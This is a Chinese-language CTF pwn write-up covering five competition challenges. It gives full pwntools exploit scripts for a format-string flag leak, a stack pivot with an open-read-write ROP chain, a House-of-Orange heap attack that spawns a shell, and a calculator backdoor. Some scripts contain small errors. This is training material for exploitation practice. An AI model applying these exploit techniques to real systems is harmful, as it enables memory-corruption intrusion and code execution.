中国海洋大学ctf pwn wp
YOLO 发表于 山东 CTF 709浏览 · 2024-04-29 02:30

fmt

考点

本题禁用了 $ 意味着不能随便在栈上任意输出了,而且输出格式字符串时处于的栈位置比 flag 深了非常多,直接用堆积格式控制符的方法也不能泄露flag 了,

本题先在根目录下放一个flag文件要不然打不开

gdb调了一下,发现flag这不就是在r9寄存器上吗,直接%p%p%p%p%s输出但是远程不行

大概率环境不同吧

接下来继续看

__int64 padded_work()
{
  __int64 v1[140]; // [rsp+0h] [rbp-460h] BYREF

  memset(&v1[14], 0, 1000);
  memset(v1, 0, 110);
  puts("what is your name?");
  __isoc99_scanf("%100s", v1);
  wrap_printf(v1);
  puts("have anything else to say?");
  __isoc99_scanf("%100s", v1);
  return wrap_printf(v1);
}

貌似没有什么溢出那该怎么办呢

进入gdb调试一下

进入第一个padded函数

在这里要注意stack 200看的要多一些

输入可以看到flag就在rbp+0x10de位置可是我们只能输入100个字节因此无法通过%p泄露出flag

不过64位格式字符串前六个参数放在寄存器上,因此我们可以通过%p泄漏第七个参数

调试一下

此时第七个参数刚好是rsp的地址

计算器算出来偏移刚好是0x470

因此我们可以将flag地址打包写入栈上,刚好是第十五个就可以通过%s泄露出flag

exp

import requests
from pwn import *
from requests.auth import *
import ctypes
from ctypes import *
context.log_level='debug'
context(os='linux', arch='amd64')
io=process('./pwn')
io = remote('competition.blue-whale.me',20160)
elf = ELF('./pwn')

#libc = ELF('./libc.so.6')

#libcc = cdll.LoadLibrary('./libc.so.6')
#libcc.srand(libcc.time(0))

def duan():
    gdb.attach(io)
    pause()

puts_got = elf.got['puts']
printf_plt = elf.plt['printf']
printf_got = elf.got['printf']
payload = b'%p%p%p%p%p%p%p'
io.recvuntil(b'what is your name?\n')

io.sendline(payload)


io.recvuntil('0x40097e')
stack = int(io.recv(14),16)+0x470
print(hex(stack))

io.recvuntil('have anything else to say?\n')


payload1 = b'%p%p%p%p%p%p%p%p%p%p%p%p%p%s%p%p'+p64(stack)

io.sendline(payload1)





io.interactive()

官方exp

from pwn import *
context(log_level='debug',arch='amd64',os='linux')
#p=process('./padfmt')
p = remote('competition.blue-whale.me', 20252)
leak = b"%llx%llx%llx%llx%llx%llx_%llx__"
p.recvuntil(b"name")
p.sendline(leak)
fmt = int(p.recvuntil(b"__").split(b"_")[1], 16)
flag = fmt + 0x470
print(fmt, flag)
payload = b"%llx"*18+b"%llx"+b"%s__"+p64(flag)
#payload = b"%llx"*24+b"%lld%s__"+p64(flag)
p.sendline(payload)
p.recvuntil(b"bye")

stack

考点

本题开启了沙箱没法用 execve,只能用 open,write,read,exit,结合题目明示

flag 位置,考虑构造 orw 读取并输出 flag 内容

放入ida

可以看到类似于polar ctf的一道题

只能溢出0x10个字节

所以我们要用栈迁移的方法来

在这里我们用leave ret的方式进行栈迁移

先泄露rbp地址然后栈迁移构造orw读取flag

在这里我们需要注意一下啊

buf地址并没有可执行权限

如果有可执行权限我们可以用shellcraft 生成orw

exp

import requests
from pwn import *
from requests.auth import *
import ctypes
from ctypes import *
context.log_level='debug'
context(os='linux', arch='amd64')
io = process('./pwn')
#io = remote('competition.blue-whale.me',20561)
elf = ELF('./pwn')
libc = ELF('./libc-2.23.so')
def duan():
    gdb.attach(io)
    duan()
pop_rdi = 0x400b93

leave_ret = 0x400a74
start = 0x400870
read= 0x400AEF

payload = b'a'*(0x140-8)+b'aaaaaaab'
io.recvuntil(b'please enter your content:\n')
io.send(payload)
io.recvuntil(b'aaaaaaab')
rbp = u64(io.recv(6).ljust(8, b'\x00'))
log.success('[rbp]:'+hex(rbp))
#duan()
stack = rbp-0x150

payload = (p64(stack)+p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(read)).ljust(0x140, b'\x00')+p64(stack)+p64(leave_ret)
io.recvuntil(b'again:\n')
io.send(payload)

libc_puts = u64(io.recv(6).ljust(8, b'\x00'))
libc_base = libc_puts-libc.symbols['puts']
print(libcbase)
#duan()
openn = libc_base+libc.symbols['open']
readd = libc_base+libc.symbols['read']
write = libc_base+libc.symbols['write']
pop_rdx = libc_base+0x1b92
pop_rsi = libc_base+0x202f8

payload = b'./flag\x00\x00'
payload += p64(pop_rdi)+p64(stack-0x140)+p64(pop_rsi)+p64(0)+p64(openn)
payload += p64(pop_rdi)+p64(3)+p64(pop_rsi) + p64(e.bss()+0x100) + p64(pop_rdx)+p64(0x100)+p64(readd)
payload += p64(pop_rdi)+p64(1)+p64(pop_rsi) + p64(e.bss()+0x100)+p64(pop_rdx)+p64(0x100)+p64(write)
payload = payload.ljust(0x140, b'\x00')+p64(stack-0x140)+p64(leave_ret)
#duan()
io.send(payload)
io.interactive()

运行一下下

官方exp

from pwn import *
context(log_level="debug", arch="amd64", os="linux")
#p = process("./baby_stack")
p = remote("competition.blue-whale.me", 20405)
elf = ELF("./baby_stack")
libc = ELF("./libc-2.23.so")
puts_plt = 0x4007E0 # elf.plt['puts']
read_got = elf.got["read"]
pop_rdi_ret = 0x400B93
leave_ret = 0x400A74
func_addr = 0x400A76
# ret = 0x400799
payload1 = "a" * 0x140
p.sendafter("please enter your content:\n", payload1)
stack = u64(p.recvuntil("\x7f")[-6:].ljust(8, b"\x00"))
success("stack -> {:#x}".format(stack))
buf = stack - 0x150
payload2 = (
p64(stack) + p64(pop_rdi_ret) + p64(read_got) + p64(puts_plt) +
p64(func_addr)
).ljust(0x140, b"\x00")
payload2 += p64(buf) + p64(leave_ret)
p.sendafter("please enter your content again:\n", payload2)
lib = u64(p.recvuntil("\x7f")[-6:].ljust(8, b"\x00")) - libc.sym["read"]
success("libc_base -> {:#x}".format(lib))
pop_rdi = lib + next(libc.search(asm("pop rdi;ret")))
pop_rsi = lib + next(libc.search(asm("pop rsi;ret")))
pop_rdx = lib + next(libc.search(asm("pop rdx;ret")))
open_addr = lib + libc.sym["open"]
write_addr = lib + libc.sym["write"]
read_addr = lib + libc.sym["read"]
payload3 = "a" * 0x140
p.sendafter("please enter your content:\n", payload3)
stack = u64(p.recvuntil("\x7f")[-6:].ljust(8, b"\x00"))
success("stack -> {:#x}".format(stack))
buf = stack - 0x270
payload4 = (
b"./flag\x00\x00"
+ p64(pop_rdi)
+ p64(buf)
+ p64(pop_rsi)
+ p64(0)
+ p64(open_addr)
+ p64(pop_rdi)
+ p64(3)
+ p64(pop_rsi)
+ p64(buf)
+ p64(pop_rdx)
+ p64(0x100)
+ p64(read_addr)
+ p64(pop_rdi)
+ p64(1)
+ p64(pop_rsi)
+ p64(buf)
+ p64(pop_rdx)
+ p64(0x100)
+ p64(write_addr)
).ljust(0x140, b"\x00")
payload4 += p64(buf) + p64(leave_ret)
p.sendafter("please enter your content again:\n", payload4)
io.interactive()

摩登pwn

已经不想说什么

连接上tightvnc让你输入负数

可以看到这个操作会输出flag

gpt翻译

因此下面的判断是如果 v27 < 0 就输出 flag,题目限制了能输入的数字长度,但只要输个

232-1 至 231 之间的数字就行

直接输入最大的数flag就出了

4294967295

orange

在这卡了好几天

终于出了

放入ida看一下

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int v3; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  sub_A50(a1, a2, a3);
  while ( 1 )
  {
    while ( 1 )
    {
      puts("1.add");
      puts("2.del");
      puts("3.edit");
      puts("4.show");
      _isoc99_scanf("%d", &v3);
      if ( v3 != 2 )
        break;
      sub_E17();
    }
    if ( v3 > 2 )
    {
      if ( v3 == 3 )
      {
        sub_BE1();
      }
      else if ( v3 == 4 )
      {
        sub_D35();
      }
    }
    else if ( v3 == 1 )
    {
      sub_AB1();
    }
  }
}

类似于简单的菜单题

add(0,0x108)
add(1,0x1f8)
add(2,0xe8)
add(3,0xe0)

创建了四个相连的堆块

泄露出基址

exp

import os
import sys
import time
from pwn import *
from ctypes import *

context.os = 'linux'
context.log_level = "debug"

context(os = 'linux',log_level = "debug",arch = 'amd64')
s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']

x64_32 = 1

if x64_32:
    context.arch = 'amd64'
else:
    context.arch = 'i386'

p=process('./pwn')
elf = ELF('./pwn')
libc=ELF('./libc-2.23.so')
add_idx = 1
delete_idx = 2
show_idx = 4
edit_idx = 3

def duan():
    gdb.attach(p)
    pause()

def choice(cho):
    sla('4.show\n',cho)

def add(idx,size):
    choice(add_idx)
    sla('which index?\n',idx)
    sla('what size?\n',size)

def delete(idx):
    choice(delete_idx)
    sla('which index?\n',idx)

def show(idx):
    choice(show_idx)
    sla('which index?\n',idx)

def edit(idx,content):
    choice(edit_idx)
    sla('which index?\n',idx)

    sla('content:\n',content)

add(0,0x108)
add(1,0x1f8)
add(2,0xe8)
add(3,0xe0)


pay = b'a'*0x108+b'\xf1'
edit(0,pay)

delete(1)

ru('delete: ')
heap_base=int(r(14),16)-0x120
leak('heap_base ',heap_base)


add(1,0x1f8)
show(2)
ru('content:\n')
main_aren = u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
leak('main_aren ',main_aren)
#duan()
libc_base = main_aren - 0x3c4b78
leak('libc_base ',libc_base)
io_list_all = libc_base+libc.sym["_IO_list_all"]
system = libc_base+libc.sym["system"]

io = p64(0)+p64(io_list_all-0x10)
io += p64(0)+p64(1)
io = io.ljust(0xd8-0x10,b"\x00")
io += p64(heap_base+0x400)
io += p64(0)+b'\x00'

edit(1,b'\x00'*0x1f0+b'/bin/sh\x00'+b'\x61')
edit(2,io)
edit(3,p64(0)+p64(system))
add(4,0xe0)

itr()

运行一下

拿到shell、

官方exp

from pwn import *
context(log_level='debug',arch='amd64',os='linux')
#p=process("./one_orange")
p = remote('competition.blue-whale.me', 20918)
libc=ELF("./libc-2.23.so")
def add(idx,size):
p.sendlineafter(b"4.show\n",b"1")
p.sendlineafter(b"which index?\n",bytes(str(idx), 'ascii'))
p.sendlineafter(b"what size?\n",bytes(str(size), 'ascii'))
def free(idx):
p.sendlineafter(b"4.show\n",b'2')
p.sendlineafter(b"which index?\n",bytes(str(idx), 'ascii'))
p.recvuntil(b'this is you want to delete: ')
return int(p.recv(14),16)
def edit(idx,content):
p.sendlineafter(b"4.show\n",b'3')
p.sendlineafter(b"which index?\n",bytes(str(idx), 'ascii'))
p.sendlineafter(b"content:\n",content)
def show(idx):
p.sendlineafter(b"4.show\n",b'4')
p.sendlineafter(b"which index?\n",bytes(str(idx), 'ascii'))

add(6,0x1a0)
add(7,0x170)
add(8,0xe0)
add(10,0x380)
add(9,0x380) # above for padding
add(0,0xe8)
add(1,0xf0)
add(2,0xe0)
payload=b'a'*0xe8+b'\xf1'
edit(0,payload)
heap_base=free(1)-0xc40
success("heap_base -> {:#x}".format(heap_base))
add(1,0x100)
payload2=p64(0)+p64(0x2c1)
edit(2,payload2)
add(3,0x380)
payload3=b'b'*(0x10-1)
edit(2,payload3)
show(2)
libc_base=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-88- 0x10 -
libc.symbols['__malloc_hook']
success("libc_base -> {:#x}".format(libc_base))
io_list_all_addr=libc_base+libc.symbols['_IO_list_all']
system_addr=libc_base+libc.symbols['system']
payload = b"Y"*0x10
flag = b'/bin/sh\x00'
heap=heap_base+0xe10-0x18
fake_size = p64(0x61)
fd = p64(0)
bk = p64(io_list_all_addr - 0x10)
write_base = p64(1)
write_ptr = p64(2)
mode = p32(0)
vtable = p64(heap)
overflow = p64(system_addr)
payload = flag
payload = payload + fake_size
payload = payload + fd
payload = payload + bk
payload = payload + write_base
payload = payload + write_ptr
payload = payload + p64(0)*18
payload = payload + mode + p32(0) + p64(0) + overflow
payload = payload + vtable
edit(2,payload)
add(4,0x100)
p.interactive()

卡死欧计算器

怎么说呢很长的一段代码

int __cdecl handle_input()
{
  int v1; // eax
  int v2; // eax
  int v3; // eax
  OPInfo_0 *v4; // rax
  int v5; // eax
  int v6; // eax
  int v7; // eax
  int v8; // eax
  char *end; // [rsp+18h] [rbp-B8h] BYREF
  handle_input::$ABC3A5BA1621B0CECBED674EC3823104 op_stack; // [rsp+20h] [rbp-B0h]
  handle_input::$B79843162A86359B3DBF089CA1AEDE1A num_stack; // [rsp+30h] [rbp-A0h]
  int pre_res; // [rsp+4Ch] [rbp-84h] BYREF
  double tmp; // [rsp+50h] [rbp-80h]
  double r; // [rsp+58h] [rbp-78h]
  double a; // [rsp+60h] [rbp-70h]
  double b; // [rsp+68h] [rbp-68h]
  double r_0; // [rsp+70h] [rbp-60h]
  double a_0; // [rsp+78h] [rbp-58h]
  double b_0; // [rsp+80h] [rbp-50h]
  OPInfo_0 *prev; // [rsp+88h] [rbp-48h]
  OPInfo_0 *curr; // [rsp+90h] [rbp-40h]
  double r_1; // [rsp+98h] [rbp-38h]
  double a_1; // [rsp+A0h] [rbp-30h]
  double b_1; // [rsp+A8h] [rbp-28h]
  OPInfo_0 *opi; // [rsp+B0h] [rbp-20h]
  int err; // [rsp+BCh] [rbp-14h]
  char *buf; // [rsp+C0h] [rbp-10h]
  int i; // [rsp+CCh] [rbp-4h]

  printf("input: ");
  memset(input_buffer, 0, sizeof(input_buffer));
  buf = fgets(input_buffer, 2000, stdin);
  if ( !buf )
    return 0;
  pre_res = 0;
  err = preprocess(buf, &pre_res);
  if ( err )
  {
    handle_preprocess_err(buf, err, pre_res);
    return 1;
  }
  else
  {
    num_stack.top = 0;
    num_stack.arr = (double *)malloc(8LL * pre_res);
    op_stack.top = 0;
    op_stack.arr = (char *)malloc(pre_res);
    *num_stack.arr = 0.0;
    for ( i = 0; buf[i]; ++i )
    {
      if ( buf[i] != 32 )
      {
        if ( buf[i] > 47 && buf[i] <= 57 || buf[i] == 46 )
        {
          tmp = strtod(&buf[i], &end);
          num_stack.arr[++num_stack.top] = tmp;
          i = (_DWORD)end - (_DWORD)buf - 1;
        }
        else if ( buf[i] == 40 )
        {
          op_stack.arr[++op_stack.top] = 40;
        }
        else if ( buf[i] == 41 )
        {
          while ( op_stack.arr[op_stack.top] != 40 )
          {
            v1 = num_stack.top--;
            b = num_stack.arr[v1];
            v2 = num_stack.top--;
            a = num_stack.arr[v2];
            v3 = op_stack.top--;
            v4 = lookup_op(op_stack.arr[v3]);
            r = v4->op(a, b);
            num_stack.arr[++num_stack.top] = r;
          }
          --op_stack.top;
        }
        else
        {
          curr = lookup_op(buf[i]);
          while ( op_stack.top )
          {
            prev = lookup_op(op_stack.arr[op_stack.top]);
            if ( !prev || curr->level > prev->level )
              break;
            v5 = num_stack.top--;
            b_0 = num_stack.arr[v5];
            v6 = num_stack.top--;
            a_0 = num_stack.arr[v6];
            r_0 = prev->op(a_0, b_0);
            --op_stack.top;
            num_stack.arr[++num_stack.top] = r_0;
          }
          op_stack.arr[++op_stack.top] = curr->sym;
        }
      }
    }
    while ( op_stack.top )
    {
      opi = lookup_op(op_stack.arr[op_stack.top]);
      v7 = num_stack.top--;
      b_1 = num_stack.arr[v7];
      v8 = num_stack.top--;
      a_1 = num_stack.arr[v8];
      r_1 = opi->op(a_1, b_1);
      --op_stack.top;
      num_stack.arr[++num_stack.top] = r_1;
    }
    printf("result: %lf\n", num_stack.arr[num_stack.top]);
    free(op_stack.arr);
    free(num_stack.arr);
    return 1;
  }
}

可以看到

如果我们输入的字符为#时进入后门函数

import requests
from pwn import *
from requests.auth import *
import ctypes
from ctypes import *
context.log_level='debug'
context(os='linux', arch='amd64')
io = process('./pwn')
#io = remote('47.100.137.175',31163)
elf = ELF('./pwn')

#libc = ELF('./libc.so.6')

#libcc = cdll.LoadLibrary('./libc.so.6')
#libcc.srand(libcc.time(0))

def duan():
    gdb.attach(io)
    pause() 
io.recvuntil(b'input:')
io.sendline(b"()*()+1.27e-321")
io.recvuntil(b'input:')
io.sendline(b"0+(0+(0+(0+(0+(0+(0+(0+(0+(0+2.008776679223492e-139)))))))))")
io.interactive()
附件:
0 条评论
某人
表情
可输入 255